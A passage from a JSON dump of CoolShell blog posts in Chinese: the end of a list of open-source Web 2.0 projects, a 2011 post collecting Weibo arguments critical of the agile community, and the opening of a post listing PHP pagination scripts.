CMS系统！网页设计师可以使用<em>Pligg</em>做他(她)想做的任何事情。稍微懂一些PHP和Mysql的知识即可安装<em>Pligg</em>。</li>\n<li><a href=\"http://drupal.org/project/drigg/\" rel=\"nofollow\">Drigg</a>，基于Drupal 构建的PHP的Digg网站系统。</li>\n<li><a href=\"http://www.reddit.com/\" rel=\"nofollow\">Reddit</a>，其源码和文档在这里：<a href=\"https://github.com/reddit/reddit\">https://github.com/reddit/reddit</a></li>\n<li><a href=\"http://sourceforge.net/projects/communitynews/\" target=\"_blank\">CommunityNews</a>，通过使用社交书签和贝叶斯定理技术向博客定期提供记录。用户可以通过投票支持或反对RSS来源以支持那些受欢迎的资源。</li>\n<li><a href=\"http://opensource.newscloud.com/\" target=\"_blank\">NewsCloud</a>，是一款基于NewsCloud.com专为平民新闻业和社会新闻网络设计的开源传媒平台。</li>\n<li><a href=\"http://jamss.sourceforge.net/\" target=\"_blank\">Jamss</a>，是基于Digg.com的社交新闻网站, 其通过PHP/MySQL运行。.Jamss 考虑到了行内意见和网络文章的评论，还可以灵活适应多种主题。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>社区网络</strong>（Facebook, Twitter）</li>\n<ul>\n<li><a href=\"http://portal.friendika.com/\" rel=\"nofollow\">Friendika</a>，一个由PHP+MySQL的免费应用程式(Open Source)，提供使用者一个单一的界面来控制社群网路服务。支援的社群网路应用服务包括Facebook，Twitter、WordPress、Blogger、Identi.ca、RSS订阅与电子邮件等等的整合服务。</li>\n<li><a href=\"https://joindiaspora.com/\" rel=\"nofollow\">Diaspora</a>，让你将您的关系分成多个视图（Google+的圈子），每个视图是您生活的不同部分。这是Diaspora首创，用来确保您的照片、经历和笑话，只与您所希望分享的人分享。</li>\n<li><a href=\"http://buddypress-es.com/\" rel=\"nofollow\">Buddypress</a>，是 WordPress 母公司的一个全新的开源程序，BuddyPress 从本质上说其实是 WordPress 的插件。BuddyPress 把 WordPress的关注点从博客转移到了社区。当然，用户还是能够使用WordPress的所有的博客功能，只是当用户使用 BuddyPress 时，第一要做的是创建他们个人档案，第二才是写博客。</li>\n<li><a href=\"http://foocorp.org/projects/social/\" rel=\"nofollow\">GNU Social</a>，GNU的SNS。</li>\n<li><a href=\"http://www.elgg.org/\" rel=\"nofollow\">Elgg</a>，一款免费开源的社会性网络脚本程序(php/mysql)，以BLOG为中心实现社会网络化，从社会性来讲：Elgg以兴趣为核心的社交平台。它包括网络日志、资料存储、RSS集合、个人档案、FOAF功能等等。</li>\n<li><a href=\"http://www.socialengine.net/index_vivalogo.php\" target=\"_blank\">SocialEngine</a>，是一款由PHP和Zend控制的网络软件，其脚本让你可以轻松地创建属于你自己社交网站或是在线社区，包括自定义群组、相册、消息、用户档案、视频、新闻订阅，拖放群集邮箱服务器等等功能。</li>\n<li><a href=\"http://www.isocial.in/\" target=\"_blank\">iSocial</a>，是一款免费社交网络脚本平台，你可以用它建立像Friendster和Orkut那样可以一键使用书签，约会和建立群组的社交网站。</li>\n<li><a href=\"http://mahara.org/\" target=\"_blank\">Mahara</a>，有着电子档案、网络日志、简历编辑工具、联系用户的社交网络系统以及建立在线社区的齐全功能。</li>\n<li><a href=\"http://sourceforge.net/projects/peepagg/\" target=\"_blank\">The PeopleAggregator</a>，是全新一代的社交网站系统，它力求应用开放的标准、密切的网络互动和强大的灵活性。</li>\n<li><a href=\"http://opensource.appleseedproject.org/\" target=\"_blank\">Appleseed</a>，是一款类似Friendster的社交网站软件。网站运行appleseed将互通，形成Appleseed的社交网站。该软件发展的重点是对隐私和安全，以及易用的配置。</li>\n<li><a href=\"http://www.mugshots.com/\" target=\"_blank\">Mugshot</a>，则通过一系列的WEB CRM、照片、日志等等让你时刻了解朋友们的最新动态。</li>\n<li><a href=\"http://code.google.com/p/clonesumating/\" target=\"_blank\">Clonesumating</a>，是<a href=\"http://consumating.com/\" target=\"_blank\">CONSUMATING.COM</a>代码的开源版本， 其功能有用户档案、用户标签、配对并发现古怪标签合并、团队活动（比如每周照片评选、博客问答）、事件日历、PSS订阅等等。</li>\n<li><a href=\"http://www.bevolunteer.org/trac/\" target=\"_blank\">BeWelcom Rox</a>，是<a href=\"http://www.bewelcome.org/\" target=\"_blank\">www.bewelcome.org</a>等其他社交网站的运作平台，它将人们真实地聚集了在一起。在那里人们了解全球村庄以及其他文化，分享自己的所在地，组织旅游，写旅游博客等等。</li>\n<li><a href=\"http://sourceforge.net/projects/openpne/\" target=\"_blank\">OpenPNE</a>，是由PHP写成的网络社交服务引擎，其功能有好友管理、好友邀请、日记、博客、订收件箱等等。</li>\n<li><a href=\"http://sourceforge.net/projects/worldspace/\" target=\"_blank\">WorldSpace</a>，是一款用户可拓展的共享虚拟空间，它致力于成为新一代的社交网络系统。</li>\n<li><a href=\"http://zoints.com/\" target=\"_blank\">Zoints</a>，这一款软件熟知在线社区是互联网中最重要的一部分，它所正是为帮助解决论坛版主所面临的三大问题（即获得会员，保留会员和盈利）而设计的。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>社区书签</strong>（Delicious）</li>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Scuttle\" title=\"Scuttle\">Scuttle</a>，开源Web书签系统，允许多个用户在线存储，共享和Tag他们喜欢的链接。</li>\n<li><a href=\"http://sourceforge.net/projects/semanticscuttle/\" rel=\"nofollow\">Semantic Scuttle</a>，是一款基于Scuttle的社交书签工具。它可以试验像层次化标签、合作描述、OpenID认证这样的全新功能。</li>\n<li><a href=\"http://sourceforge.net/projects/sabrosus/\" rel=\"nofollow\">Sabros.us</a>，一个基于互联网的书签系统。它与del.icio.us 是相似，您能在网上处理您的书签, 或者自己建立一个网站。</li>\n<li><a href=\"http://www.connotea.org/\" rel=\"nofollow\">Connotea</a>，是 NGP(Nature Publishing Group) 旗下的网站，借鉴当前流行的 del.icio.us 等社会书签的创意，专注于科研领域，并可导入桌面文献管理软件的数据，是当前比较流行的一款在线文献管理工具。</li>\n<li><a href=\"https://github.com/alx/pressmark/\" rel=\"nofollow\">Pressmark</a></li>\n<li><a href=\"http://www.shiftspace.org/\" rel=\"nofollow\">Shiftspace</a>，让你的Wordpress成为像 <a href=\"http://del.icio.us/\">del.icio.us</a>, <a href=\"http://sabros.us/\">sabros.us</a>这样的站点。</li>\n<li><a href=\"http://wwwhatsnew.com/2006/02/02/magnolia-algo-grande-llega-desde-el-mundo-de-los-bookmarks/\" rel=\"nofollow\">Ma.gnolia 2</a>，基于Ruby开发。它的界面比较漂亮，但速度比较慢，另外搜索仅限于tag。</li>\n<li><a href=\"http://sourceforge.net/projects/akarru\" target=\"_blank\">Akarru</a>，是一款用来建立像<a href=\"http://www.blogmemes.com/\" target=\"_blank\">www.blogmemes.com</a>网站的社交书签引擎。用户可以通过投票系统在首页上张贴链接并推销链接。</li>\n<li><a href=\"http://www.shokk.com/blog/articles/category/monkeychow/\" target=\"_blank\"> Monkey Chow</a>，是一款带有社交书签、主题文章、来源标签、OPML、文章搜索、编辑来源属性等等众多功能的新闻聚合浏览器。</li>\n<li><a href=\"http://feedmelinks.com/\" target=\"_blank\">Feed Me Links</a>，可以将你的书签存储在网上以便随时随地使用，输入你最喜爱的网址并和好友们分享，加标签来管理不同链接，还有更多新鲜事物等待你来发现。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>短网址服务</strong>（TinyURL）</li>\n<ul>\n<li><a href=\"https://gitorious.org/mencey/tinyull\" rel=\"nofollow\">tinyULL</a>，不是tinyURL，别看错了。</li>\n</ul>\n</ul>\n<h4>身份和安全</h4>\n</div>\n<div>\n<ul>\n<li><strong>域名</strong></li>\n<ul>\n<li><a href=\"http://www.namecoin.us/\" rel=\"nofollow\">Namecoin</a>/<a href=\"http://dot-bit.org/\" rel=\"nofollow\">.bit</a>，基于bitcoin技术的分散、开放DNS系统。.bit域名到底靠不靠谱啊，是不是有P2P网络存在，.bit网站就能永远访问？会不会被墙？我们不得而之。</li>\n<li><a href=\"http://www.socialdns.net/\" rel=\"nofollow\">Social DNS</a></li>\n<li><a href=\"http://distributeddns.sourceforge.net/\" rel=\"nofollow\">Distributed DNS</a></li>\n</ul>\n</ul>\n<ul>\n<li><strong>身份凭证</strong></li>\n<ul>\n<li><a href=\"http://wiki.openid.net/w/page/12995176/Libraries/\" rel=\"nofollow\">OpenID</a>，一个去中心化的网上身份认证系统。对于支持OpenID的网站，用户不需要记住像用户名和密码这样的传统验证标记。取而代之的是，他们只需要预先在一个作为OpenID身份提供者（identity provider, IdP）的网站上注册。OpenID是去中心化的，任何网站都可以使用OpenID来作为用户登录的一种方式，任何网站也都可以作为OpenID身份提供者。OpenID既解决了问题而又不需要依赖于中心性的网站来确认数字身份。OpenID正在被越来越多的大网站采用</li>\n<li><a href=\"http://oauth.net/code/\" rel=\"nofollow\">OAuth</a>，（开放授权）是一个开放标准，允许用户让第三方应用访问该用户在某一网站上存储的私密的资源（如照片，视频，联系人列表），而无需将用户名和密码提供给第三方应用。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>加密</strong></li>\n<ul>\n<li><a href=\"http://www.cacert.org/\" rel=\"nofollow\">CACert</a>，想给自己申请一份电子邮件证书或者给自己的<a href=\"http://blog.mop.name/category/%e8%b6%a3%e7%ab%99\" target=\"_blank\">网站</a>、服务器申请一个SSL证书是很不容易的，你每年都得给CA（证书颁发验证组织）缴纳不少的证书申请费。有了CAcert，国外一个<a href=\"http://blog.mop.name/category/free\" target=\"_blank\">免费</a>的数字证书颁发组织，你可以<a href=\"http://blog.mop.name/category/free\" target=\"_blank\">免费</a>注册成为用户，申领个人证书和服务器证书等。证书被各种浏览器、邮件客户端所支持。</li>\n</ul>\n</ul>\n<h4>其它</h4>\n<ul>\n<li><strong>翻译</strong>（Google Translator）</li>\n<ul>\n<li><a href=\"http://www.apertium.org/\" rel=\"nofollow\">Apertium</a>，一个机器翻译平台，由西班牙政府和加泰罗尼亚自治政府拨款支持阿利坎特大学开发。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>桌面</strong>（iGoogle, netbives）</li>\n<ul>\n<li><a href=\"http://www.eyeos.org/\" rel=\"nofollow\">EyeOS</a>，一款web桌面环境, 俗称Web Operating System (Web OS)或者Web Office. eyeOS是一个开源的软件, 用户可以自由下载或者在eyeOS的服务器 eyeOS server 上使用. 基本的系统附带一些办公软件和 PIM 应用, 并且在官方http://eyeos.org可以找到完整的程序代码。其开发哲学是：Taking Your Life Everywhere!</li>\n<li>CorneliOS，一款运行在服务器端、基于网络的网络虚拟操作系统，本身通过HTML和（或）XHTML为用户提供各种服务，这也就意味着用户只需要使用普通浏览器即可连接并使用这款操作系统。非常类似 eyeOS。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>3D库</strong>（Google SketchUp 3D Warehouse, Google O3D API）</li>\n<ul>\n<li><a href=\"https://wiki.mozilla.org/Canvas:3D\" rel=\"nofollow\">Mozilla Canvas 3D</a>，OpenGL 3D Web。</li>\n<li><a href=\"http://www.doogal.co.uk/KmlViewer.php/\" rel=\"nofollow\">Web KML Viewer</a>。</li>\n</ul>\n</ul>\n<div><strong>参考</strong></div>\n<div>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/List_of_free_software_for_Web_2.0_services\" target=\"_blank\">Wikipedia</a></li>\n<li><a href=\"http://www.dasheyin.com/da_jian_ni_zi_ji_de_she_jiao_wang_luo_kai_yuan_she_jiao_wang_luo_cheng_xu_ji_he.html\" target=\"_blank\">搭建你自己的社交网络：开源社交网络程序集合</a></li>\n</ul>\n</div>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5132.html\">疯狂的 Web 应用开源项目</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-8-12 在新浪微博上关于敏捷的一些讨论.html",
    "content": "<html><body><p>自从我发布了“<a href=\"https://coolshell.cn/articles/5044.html\" title=\"为什么Scrum不行？\">Scrum为什么不行</a>”，并被CSDN推成首页头条后，我在我的新浪微博上就经常被敏粉们@去讨论他们的一些话题。<strong>他们似乎想要从我这里听到一些不同的声音，我很喜欢他们的这种态度，在这里先赞他们一个</strong>。既然，让我来评论他们的东西，我就不客气了，板砖自然是少不了的。 我觉得我在微博上的观点比较散，所以在这里做一个汇总。我在所有批评敏捷的文章里都重复说过我的立场，这里还要再说一遍，因为那群人很敏感——“<strong>我承认敏捷中有一些东西我是认可的，但对敏捷社区的推广和思维方式我持否定态度</strong>”。</p>\n<h4>敏捷词汇表</h4>\n<p>我被<a href=\"http://weibo.com/adamwu73\">@吴穹adam</a>邀请进入了一个<a href=\"http://q.weibo.com/852378?source=weibohome\" target=\"_blank\">敏捷词汇表的微群</a>，这个群就是想明确的定义一下敏捷的各种词汇，比如，他们想把TDD定义成就是UT。呵呵。我对这个群仅保持了30分钟的热度，我在里面发了一个“你们不想讨论技术吗？”的帖子，就再也不想关注了。因为我的观点如下：</p>\n<ul>\n<li>我不知道干这件事有什么意义。标准化还是洗脑？One World, One Agile?  –<strong> horse shit!</strong></li>\n<li>你能定义地好吗？定义好了大家都能干好了？ –<strong> 幼稚！</strong></li>\n<li>理解不同又有什么关系？价值观不同又能怎么样？为什么不能正视并接受世界的不同呢？ –  <strong>固执！</strong></li>\n</ul>\n<h4><strong>敏捷宣言</strong></h4>\n<p>我看到很多人又把《敏捷宣言》拿出来说事，就好象他们把敏捷宣言是软件开发的普世的价值观一样。我对此的评论是—— <span id=\"more-5143\"></span></p>\n<blockquote><p><a href=\"http://weibo.com/haoel\">@左耳朵耗子</a>：<span style=\"color: #0000ff;\">微博里多了很多《敏捷宣言》的话题，这让我想到了《共产党宣言》， 这两个组织里的某些人很相似，都通过宣言来树立价值观，然后通过传教的方式四处宣讲来影响大众吸收党羽，并要求对其价值观的信仰，还以一种革命者的态度来实践…… 建议程序员还是多研究技术细节，关注技术发展趋势，分析产品和用户需求。</span></p></blockquote>\n<h4>博文评论</h4>\n<p><a href=\"http://weibo.com/adamwu73\">@吴穹adam</a>发表了一篇《<a href=\"http://blog.csdn.net/adwu73/article/details/6677908\" target=\"_blank\">为什么纯粹的Scrum在中国很难落地（一）</a>》并欢迎我去拍砖。我拍了下面几块砖：</p>\n<ul>\n<li>看标题还以为要谈什么中国实际的问题，结果只是一些文章的读后感。没有实际价值。</li>\n<li>我对为什么在中国难落地的原因提了三条：</li>\n<ul>\n<li>你们总是想以Scrum为中心来改变实际情况和民众，而不是民众自发的。</li>\n<li>世界是不同的，多元的，这告诉我们不要死读书，读死书，更不能教条主义。</li>\n<li>世界是不完美的。有很多东西无法改变的，如人性，文化，政治…… 要学会接受并管理他们。</li>\n</ul>\n<li>我给<a href=\"http://weibo.com/adamwu73\">@吴穹adam</a>的建议——<strong>只有当你开始关注实际情况的时候，你才能真正成为一个实践者</strong>。</li>\n</ul>\n<p>看到在<a href=\"http://weibo.com/1880082254/xiWv9AShm\" target=\"_blank\">评论中</a>——</p>\n<blockquote><p> “<a href=\"http://weibo.com/n/%E5%BC%A0%E6%9D%83%E5%85%88%E7%94%9F\">@张权先生</a>：团队拒绝Coach，与敏捷实践缺乏统一认知有关，书籍、网上资料中，很多信息是不统一的，混乱的局面只能从信息源头抓起，规范术语、规范表述为好”。</p></blockquote>\n<p>我观点是：</p>\n<ul>\n<li>先得对大众洗脑，统一认识？和谐？</li>\n<li>一千个人有一千个哈姆雷特，认识不同又有何妨？</li>\n</ul>\n<p><a href=\"http://weibo.com/1949520867\">@蔡晓东_</a>发了一篇《<a href=\"http://weibo.com/1949520867/xiZRDCOr1\" target=\"_blank\">低层级的敏捷毫无意义，组织级敏捷才是敏捷的核心问题</a>》的长微博，也让我去讨论。我这样回复——“<span style=\"color: #cc0000;\"><strong>为什么你们一定要定义哪种软件开发是敏捷？哪种不是? 为什么一定要敏捷呢？做这个划分的目的是什么？是不是只有这样搞，某些组织某些人才有饭碗呢?</strong></span>”， 我希望敏捷社区的人能正面回答我这个问题。</p>\n<p>我的一个前同事回复到：</p>\n<blockquote><p><a href=\"http://weibo.com/n/ilinux\">@ilinux</a>:”低层级的敏捷毫无意义，组织级敏捷才是敏捷的核心问题”, 这口号听起来就像是要, 从生产关系上和上层建筑着手，解放全世界无产阶级码农。</p></blockquote>\n<p>还有一个朋友回复到（多好的建议）：</p>\n<blockquote><p>@<a href=\"http://weibo.com/yuyijq\">横刀天笑</a> 低层次不干好，就别谈组织的了吧。。。说实话，我喜欢持续改善，讨厌重大变革。喜欢基础实践，讨厌空喊口号。</p></blockquote>\n<h4>后续</h4>\n<p>下面这个微博看来是怒了，敏捷社区，你能告诉我这是为什么吗？</p>\n<blockquote><p><a href=\"http://weibo.com/silentriver\">@陈加兴</a>：所谓“观其言，察其行”，别人的话摘录再多，终究是别人说的话，和你一毛钱关系都没有。言必称“敏捷”，把敏捷搞得跟唐诗三百首似的颠过来倒过去地背，却不知软件中“设计”为何物，我实在不知道这样“没有项目经验如何谈敏捷”？没有一点团队管理经验，却处处指导众生管理团队，真是神仙下凡啊。</p></blockquote>\n<blockquote><p><a href=\"http://weibo.com/n/%E9%99%88%E5%8A%A0%E5%85%B4\">@陈加兴</a>:回复<a href=\"http://weibo.com/n/%E5%BE%90%E6%AF%85-Kaveri\">@徐毅-Kaveri</a>:对事不对人，这种混子行径我唾弃，不点名，因为可以对号入座的人，多着呢。</p></blockquote>\n<p>我也认识很多混子，包括现在或曾在TW里的。</p>\n<p>最后，让我再echo一下前面的话—— <strong>这两个组织里的某些人很相似，都通过宣言来树立价值观，然后通过传教的方式四处宣讲来影响大众并吸收党羽，并要求对其价值观的信仰，还以一种革命者的态度来实践…… </strong>（有几个网友在我这个微博中讨论了很多，<a href=\"http://weibo.com/1401880315/xiFMptHMg\" target=\"_blank\">大家可以去看看</a>。） <span style=\"color: #cc0000;\"><strong>看这些所谓的咨询师、实践者、倡导者有没有料，你就直接和他谈技术实现，谈业务需求，谈产品分析，你就知道他有多少水水了</strong></span>。</p>\n<p><em><strong>————更新2011年8月13日————</strong></em></p>\n<h4>糊弄客户？</h4>\n<p>在微博上看到InfoQ主编+TW咨询师<a href=\"http://weibo.com/n/%E5%BC%A0%E5%87%AF%E5%B3%B0\">@张凯峰</a>同学的一条微博的回复（<a href=\"http://weibo.com/1416875735/xjiafswMq\" target=\"_blank\">原微博在这里</a>）</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_5152\" style=\"width: 458px;\"><img alt=\"\" class=\"size-full wp-image-5152\" height=\"149\" src=\"../wp-content/uploads/2011/08/张凯峰的微博.png\" title=\"张凯峰的微博\" width=\"458\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-5152\">张凯峰的微博：如果客户连需求都说不出一二来，那就太好糊弄了。</figcaption></figure>\n<p>糊弄客户！所以，我可以类推他会说——“<strong>如果你不懂敏捷，那就太好糊弄了</strong>”。这就是TW的咨询师。呵呵。</p>\n<p>接下来，另一个自称“Agile导师”@<a href=\"http://weibo.com/1849127973\">张义军SH</a>说，</p>\n<blockquote><p><a href=\"http://weibo.com/1849127973\">张义军SH</a> 陈浩这次确实有点断章取义了，应该说张凯峰的说法还是很实在的 //<a href=\"http://weibo.com/n/%E5%B7%A6%E8%80%B3%E6%9C%B5%E8%80%97%E5%AD%90\">@左耳朵耗子</a>：回复<a href=\"http://weibo.com/n/%E5%BC%A0%E5%87%AF%E5%B3%B0\">@张凯峰</a>: 糊弄客户?! 看到了吧，InfoQ总编，TW咨询师，真面目暴露出来了吧。//<a href=\"http://weibo.com/n/%E5%BC%A0%E5%87%AF%E5%B3%B0\">@张凯峰</a>:回复 <a href=\"http://weibo.com/n/weidagang\">@weidagang</a>:如果客户连需求都说不出一二来，那就太好糊弄了。</p></blockquote>\n<p>这就很强大啊——我到是想听听这个导师认为的“糊弄”的说法怎么个实在法？于是他回复到：</p>\n<blockquote><p><a href=\"http://weibo.com/1849127973\" title=\"张义军SH\">张义军SH </a>：回复<a href=\"http://weibo.com/n/%E5%B7%A6%E8%80%B3%E6%9C%B5%E8%80%97%E5%AD%90\">@左耳朵耗子</a>: 我是在看整个讨论过程。在客户没有想法没有太多思路时，他说客户容易糊弄我觉得确实如此，评级很实在。但他们后面在深入讨论这个问题，我认为您也应该看看，给一些建设性意见。</p></blockquote>\n<p>呵呵，用户提不出准确的需求这太正常不过了，但是这不代表用户傻，可以糊弄。另外，尤其是那些创新的项目，哪有什么需求，只有一个大概的方向，谁都不知道该做成什么样，我现在做的就是这样的项目。不做个原型，不前期试探一下用户和市场，谁也不知道。</p>\n<p>另外，我想告诉这些人，用户需求提不出来很正常，提偏了也很正常，关键在于我们的需求分析能力。福特汽车公司的创始人说过——“<strong>如果我问用户要什么，他们会告诉我他们要一匹更快的马！</strong>”，<strong>大多数平庸的人都会去饲养“一匹更快的马”，而不是分析需求后了解到用户的需求是——“更快的交通工具”。</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8209.html\"><img alt=\"“单元测试要做多细？”\" height=\"150\" src=\"../wp-content/uploads/2012/09/fight-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8209.html\">“单元测试要做多细？”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5531.html\"><img alt=\"Test-Driven Development？别逗了\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5531.html\">Test-Driven Development？别逗了</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5044.html\"><img alt=\"为什么Scrum不行？\" height=\"150\" src=\"../wp-content/uploads/2011/07/hat-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5044.html\">为什么Scrum不行？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4891.html\"><img alt=\"Bob大叔和Jim Coplien对TDD的论战\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4891.html\">Bob大叔和Jim Coplien对TDD的论战</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3778.html\"><img alt=\"敏捷水管工\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3778.html\">敏捷水管工</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3745.html\"><img alt=\"再谈敏捷和ThoughtWorks中国咨询师\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3745.html\">再谈敏捷和ThoughtWorks中国咨询师</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5143.html\">在新浪微博上关于敏捷的一些讨论</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-8-14 PHP分页技术的代码和示例.html",
    "content": "<html><body><p>本文来自：<a href=\"http://zoomzum.com/php-pagination-scripts/\" target=\"_blank\">10 Helpful PHP Pagination Scripts For Web Developers</a></p>\n<p>分页是目前在显示大量结果时所采用的最好的方式。有了下面这些代码的帮助，开发人员可以在多个页面中显示大量的数据。在互联网上，分​页是一般用于搜索结果或是浏览全部信息（比如：一个论坛主题）。几乎在每一个Web应用程序都需要划分返回的数据，并按页显示。下面的这个列表给出的代码可以让你的开发很有帮助。<strong>学习这些代码，对于初学者也很有帮助</strong>。</p>\n<h4>1)<a href=\"http://www.9lessons.info/2010/10/pagination-with-jquery-php-ajax-and.html\"> 使用Ajax分页</a></h4>\n<p> </p>\n<p> </p>\n<p style=\"text-align: left;\">下面这个示例使用了jQuery + PHP。 <a href=\"http://demos.9lessons.info/pagination/pagination.php\">Demo link</a></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-2512\" height=\"340\" src=\"../wp-content/uploads/2011/08/Pagination-e1312791884744.jpg\" title=\"Pagination\" width=\"500\"/></p>\n<p style=\"text-align: left;\"><span id=\"more-5160\"></span></p>\n<h4>2) <a href=\"http://php.about.com/od/phpwithmysql/ss/php_pagination.htm\">MySql 分页</a></h4>\n<p> </p>\n<p style=\"text-align: left;\">数据库的分页处理。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-2523\" height=\"138\" src=\"../wp-content/uploads/2011/08/PHP-Pagination1-e1312794857680.jpg\" title=\"PHP-Pagination\" width=\"500\"/></p>\n<h4>3)<a href=\"http://youhack.me/2010/05/14/an-alternative-to-pagination-facebook-and-twitter-style/\"> Facebook/Twitter 风格的分页</a></h4>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"350\" src=\"../wp-content/uploads/2011/08/twitter-pagination-e1312792153888.png\" title=\"twitter-pagination\" width=\"500\"/></p>\n<h4>4)<a href=\"http://www.phpeasystep.com/phptu/29.html\"> Php &amp; MySql 分页</a></h4>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-2514\" height=\"108\" src=\"../wp-content/uploads/2011/08/PHP-Pagination-e1312792516937.jpg\" title=\"PHP Pagination\" width=\"550\"/></p>\n<h4>5)<a href=\"http://www.bitrepository.com/css-stylish-pagination-links.html\"> 分页风格</a></h4>\n<p> </p>\n<p style=\"text-align: left;\">一个简单的教程教你如何用CSS定义不同风格的分页。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-2515\" height=\"242\" 